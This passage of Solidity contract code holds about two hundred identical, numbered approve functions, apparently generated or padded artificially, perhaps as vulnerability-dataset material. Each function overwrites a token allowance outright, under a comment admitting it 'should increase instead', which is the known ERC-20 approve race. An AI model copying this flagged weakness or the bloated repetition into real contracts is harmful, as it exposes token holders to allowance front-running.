// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_175(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_176(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_177(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_178(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_179(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_180(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_181(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_182(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_183(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_184(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_185(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_186(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_187(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_188(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_189(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_190(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_191(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_192(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_193(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_194(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_195(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_196(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_197(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_198(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_199(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_200(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_201(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_202(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_203(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_204(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_205(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_206(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_207(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_208(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_209(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_210(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_211(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_212(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_213(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_214(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_215(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_216(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_217(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_218(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_219(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_220(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_221(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_222(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_223(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_224(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_225(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_226(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_227(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_228(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_229(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_230(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_231(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_232(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_233(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_234(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_235(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_236(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_237(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_238(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_239(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_240(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_241(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_242(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_243(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_244(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_245(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_246(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_247(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_248(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_249(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_250(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_251(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_252(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_253(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_254(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_255(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_256(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_257(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_258(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_259(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_260(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_261(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_262(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_263(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_264(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_265(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_266(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_267(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_268(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_269(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_270(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_271(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_272(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_273(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_274(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_275(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_276(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_277(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_278(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_279(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_280(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_281(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_282(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_283(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_284(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_285(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_286(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_287(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_288(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_289(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_290(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_291(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_292(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_293(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_294(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_295(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_296(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_297(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_298(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_299(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_300(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_301(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_302(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_303(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_304(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_305(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_306(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_307(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_308(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_309(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_310(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_311(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_312(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_313(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_314(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_315(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_316(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_317(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_318(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_319(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_320(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_321(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_322(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_323(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_324(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_325(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_326(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_327(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_328(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_329(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_330(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_331(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_332(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_333(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_334(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_335(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_336(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_337(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_338(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_339(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_340(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_341(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_342(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_343(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_344(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_345(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_346(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_347(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_348(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_349(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_350(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_351(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_352(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_353(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_354(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_355(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_356(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_357(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_358(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_359(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_360(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_361(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_362(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_363(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_364(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_365(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_366(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
